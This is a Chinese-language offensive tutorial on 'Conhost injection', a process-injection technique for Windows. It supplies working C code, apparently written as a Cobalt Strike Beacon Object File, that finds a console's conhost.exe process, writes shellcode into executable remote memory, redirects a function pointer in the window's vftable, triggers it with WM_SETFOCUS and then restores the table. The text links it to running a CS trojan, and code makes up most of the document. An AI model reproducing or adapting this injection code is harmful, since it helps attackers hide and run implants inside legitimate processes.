Conhost注入

简介

在Windows7和之后的版本中,Microsoft引入了conhost.exe来处理控制台窗口的渲染。比如当你在powershell中运行CS木马,Windows会自动启动一个conhost.exe进程来处理这个powershell.exe,这两个进程之间存在某种关联,即conhost.exe的父进程就是powershell.exe

此技术的核心是利用conhost.exe的虚拟函数表(vftable)来实现进程注入。vftable是一个函数指针数组,用于支持C++的虚拟函数。通过修改vftable中的某些函数指针,可以使它们指向攻击者的恶意代码,从而在函数被调用时执行该代码

实现流程

1.定义虚函数表结构体

首先定义了一个结构体ConsoleWindow, 这是一个虚函数表(vftable)的结构,用于描述 conhost.exe 的窗口类

typedef struct _vftable_t {
    ULONG_PTR     EnableBothScrollBars;
    ULONG_PTR     UpdateScrollBar;
    ULONG_PTR     IsInFullscreen;
    ULONG_PTR     SetIsFullscreen;
    ULONG_PTR     SetViewportOrigin;
    ULONG_PTR     SetWindowHasMoved;
    ULONG_PTR     CaptureMouse;
    ULONG_PTR     ReleaseMouse;
    ULONG_PTR     GetWindowHandle;
    ULONG_PTR     SetOwner;
    ULONG_PTR     GetCursorPosition;
    ULONG_PTR     GetClientRectangle;
    ULONG_PTR     MapPoints;
    ULONG_PTR     ConvertScreenToClient;
    ULONG_PTR     SendNotifyBeep;
    ULONG_PTR     PostUpdateScrollBars;
    ULONG_PTR     PostUpdateTitleWithCopy;
    ULONG_PTR     PostUpdateWindowSize;
    ULONG_PTR     UpdateWindowSize;
    ULONG_PTR     UpdateWindowText;
    ULONG_PTR     HorizontalScroll;
    ULONG_PTR     VerticalScroll;
    ULONG_PTR     SignalUia;
    ULONG_PTR     UiaSetTextAreaFocus;
    ULONG_PTR     GetWindowRect;
} ConsoleWindow;

2.获取conhost进程ID

使用FindWindowsExA函数遍历所有的ConsoleWindowClass窗口,直到找到与目标conhost.exe进程关联的窗口句柄,然后获取该窗口的进程ID。要注意的是,这个ID是控制台应用程序(如cmd或powershell)的进程ID,而不是conhost.exe的

// Loop through all the console processes trying to find our target
    do
    {
        hWnd = USER32$FindWindowExA(NULL, hWnd, "ConsoleWindowClass", NULL);
        if ( NULL == hWnd ) { break; }
        USER32$GetWindowThreadProcessId(hWnd, &dwParentProcessId);
        dwProcessId = GetConhostId(dwParentProcessId);
        if ( 0 == dwProcessId )
        {
            continue;
        }
        internal_printf("conhost.exe PID:%lu with PPID:%lu\n", dwProcessId, dwParentProcessId);
    }
    while (dwProcessId != lpProcessInfo->dwProcessId);

使用GetConhostId函数查找与控制台应用程序关联的 conhost.exe 进程,并返回其进程ID

DWORD GetConhostId(DWORD dwPPid)
{
    HANDLE hSnap = NULL;
    PROCESSENTRY32 pe32;
    DWORD dwPid = 0;
    
    // Create a toolhelp snapshot
    hSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if(INVALID_HANDLE_VALUE == hSnap) { goto end; }
    
    intZeroMemory(&pe32, sizeof(pe32));
    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Get the first process
    if(KERNEL32$Process32First(hSnap, &pe32))
    {
        do
        {
            // Check current process name
            if ( 0 == MSVCRT$_stricmp("conhost.exe", pe32.szExeFile))
            {
                //internal_printf("conhost.exe found with PID:%lu and PPID:%lu\n", pe32.th32ProcessID, pe32.th32ParentProcessID);
                // Is this the child of our parent process?
                if (dwPPid == pe32.th32ParentProcessID )
                {
                    // We found the conhost of our process
                    // Return the process ID
                    dwPid = pe32.th32ProcessID;
                    break;
                }
            }
        } while(KERNEL32$Process32Next(hSnap, &pe32));
    }

end:
    if( (NULL != hSnap) && (INVALID_HANDLE_VALUE != hSnap) )
    { 
        KERNEL32$CloseHandle(hSnap); 
        hSnap = NULL;
    }

    return dwPid;
}

3.读取vftable

通过窗口句柄获取GWLP_USERDATA(用户定义的数据),这里存储了指向vftable的指针,随后读取目标进程的vftable至本地

#ifdef _WIN64
lpUserData = (LPVOID)USER32$GetWindowLongPtrA(hWnd, GWLP_USERDATA);
#else
lpUserData = (LPVOID)USER32$GetWindowLongA(hWnd, GWLP_USERDATA);
#endif
if (NULL == lpUserData)
{
    dwErrorCode = KERNEL32$GetLastError();
    internal_printf("GetWindowLongPtrA failed (%lu)\n", dwErrorCode);
    goto end;
}

// Read in the current vftable pointer from the remote process
dwErrorCode = NtReadVirtualMemory(
    lpProcessInfo->hProcess, 
    lpUserData, 
    (LPVOID)&lpvfTable, 
    sizeof(LPVOID), 
    &RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
    internal_printf("NtReadVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

// Read in the vftable from the remote process
intZeroMemory(&consoleWindow, sizeof(consoleWindow));
dwErrorCode = NtReadVirtualMemory(
    lpProcessInfo->hProcess, 
    lpvfTable, 
    &consoleWindow, 
    sizeof(consoleWindow), 
    &RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
    internal_printf("NtReadVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

4.注入shellcode

在目标进程中分配内存,将shellcode写入这块内存。

// Allocate the remote shellcode buffer
RegionSize = dwShellcodeBufferSize + 1;
dwErrorCode = NtAllocateVirtualMemory(
    lpProcessInfo->hProcess, 
    &lpRemoteShellcodeBuffer, 
    0, 
    &RegionSize, 
    MEM_COMMIT | MEM_RESERVE, 
    PAGE_EXECUTE_READWRITE
);
if (STATUS_SUCCESS != dwErrorCode)
{
    internal_printf("NtAllocateVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

// Write the local shellcode to the remote buffer
dwErrorCode = NtWriteVirtualMemory(
    lpProcessInfo->hProcess, 
    lpRemoteShellcodeBuffer, 
    lpShellcodeBuffer, 
    dwShellcodeBufferSize, 
    &RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
    internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

5.修改vftable

修改本地的vftable结构,使其GetWindowHandle函数指针指向存放shellcode的内存地址,再在目标进程分配内存用于存放修改后的vftable,最后将指向vftable的指针修改成修改后的vftable地址

// Update the local vftable to point to the shellcode
consoleWindow.GetWindowHandle = (ULONG_PTR)lpRemoteShellcodeBuffer;

// Allocate a remote buffer for the new vftable
RegionSize = sizeof(consoleWindow) + 1;
dwErrorCode = NtAllocateVirtualMemory(
    lpProcessInfo->hProcess, 
    &lpRemoteVTableBuffer, 
    0, 
    &RegionSize, 
    MEM_COMMIT | MEM_RESERVE, 
    PAGE_READWRITE
);
if (STATUS_SUCCESS != dwErrorCode)
{
    internal_printf("NtAllocateVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

// Write the local vftable to the remote buffer
dwErrorCode = NtWriteVirtualMemory(
    lpProcessInfo->hProcess, 
    lpRemoteVTableBuffer, 
    &consoleWindow, 
    sizeof(consoleWindow), 
    &RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
    internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

// Update the remote vftable pointer to point to the new remote vftable
dwErrorCode = NtWriteVirtualMemory(
    lpProcessInfo->hProcess, 
    lpUserData, 
    &lpRemoteVTableBuffer, 
    sizeof(ULONG_PTR), 
    &RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
    internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

6.触发执行

通过发送 WM_SETFOCUS 消息到 conhost.exe 窗口,触发vftable中被修改的 GetWindowHandle 函数,从而执行Shellcode

// Trigger execution
USER32$SendMessageA(hWnd, WM_SETFOCUS, 0, 0);

7.恢复原始状态

执行完Shellcode后,将vftable恢复到原始状态,以避免引起目标进程的异常或崩溃

// Restore the vftable pointer in the remote process
dwErrorCode = NtWriteVirtualMemory(
    lpProcessInfo->hProcess, 
    lpUserData, 
    &lpvfTable, 
    sizeof(ULONG_PTR), 
    &RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
    internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

运行测试

与内核回调表进程注入类似,当注入的进程上线后,源进程会停止通讯,直到注入进程的退出后才恢复通讯

image-20230919115125056

最后更新于